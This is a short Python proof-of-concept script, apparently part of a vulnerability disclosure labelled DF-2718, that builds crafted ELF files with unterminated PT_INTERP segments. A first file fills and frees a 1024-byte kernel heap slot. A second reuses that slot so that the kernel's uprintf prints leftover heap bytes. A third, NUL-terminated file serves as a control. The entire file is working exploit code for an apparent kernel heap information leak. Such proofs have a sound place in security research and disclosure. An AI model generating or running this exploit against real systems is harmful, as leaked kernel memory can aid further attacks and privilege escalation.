DF-2718 / make_poc2.py
#!/usr/bin/env python3 # DF-2718 stage-2: heap-residue disclosure proof. # seed1024: PT_INTERP p_filesz=1024, all 'B' (unterminated) -> occupies+fills a # 1024-byte kmalloc slot, then kfree()s it (imgact_elf.c:845). # leak1000: PT_INTERP p_filesz=1000, all 'A' (unterminated) -> kmalloc(1000) # reuses the same 1024-size-class slot (bytes 1000..1023 keep the # freed 'B' residue); uprintf %s walks A*1000 + B*24 + beyond. import struct PAGE=4096; INTERP_OFF=0x800 def phdr(t,flags,off,vaddr,paddr,filesz,memsz,align): return struct.pack('<IIQQQQQQ',t,flags,off,vaddr,paddr,filesz,memsz,align) def build(L,fill): e=bytearray(16); e[0:4]=b'\x7fELF'; e[4]=2; e[5]=1; e[6]=1 ph =phdr(1,5,0,0x400000,0,2*PAGE,3*PAGE,PAGE) # PT_LOAD R+X ph+=phdr(3,4,INTERP_OFF,0,0,L,0,1) # PT_INTERP eh=struct.pack('<16sHHIQQQIHHHHHH',bytes(e),2,62,1,0x401000,64,0,0,64,56,2,0,0,0) img=bytearray(2*PAGE) img[0:len(eh)]=eh; img[64:64+len(ph)]=ph ib=fill*L assert len(ib)==L img[INTERP_OFF:INTERP_OFF+L]=ib # exact-length slice assert len(img)==2*PAGE return bytes(img) open('seed1024','wb').write(build(1024,b'B')) open('leak1000','wb').write(build(1000,b'A')) ctl=(b'/libexec/ld-elf.so.2\x00').ljust(1024,b'x') # NUL inside -> terminated img=bytearray(2*PAGE); img[INTERP_OFF:INTERP_OFF+1024]=ctl open('/tmp/ctl_img.bin','wb').write(bytes(img[INTERP_OFF:INTERP_OFF+1024])) # build ctl via same path: fill bytes are just longer content with a NUL def build_raw(L, ib): e=bytearray(16); e[0:4]=b'\x7fELF'; e[4]=2; e[5]=1; e[6]=1 ph =phdr(1,5,0,0x400000,0,2*PAGE,3*PAGE,PAGE) ph+=phdr(3,4,INTERP_OFF,0,0,L,0,1) eh=struct.pack('<16sHHIQQQIHHHHHH',bytes(e),2,62,1,0x401000,64,0,0,64,56,2,0,0,0) img=bytearray(2*PAGE) img[0:len(eh)]=eh; img[64:64+len(ph)]=ph img[INTERP_OFF:INTERP_OFF+L]=ib return bytes(img) open('ctl1024','wb').write(build_raw(1024, ctl)) print("ok") |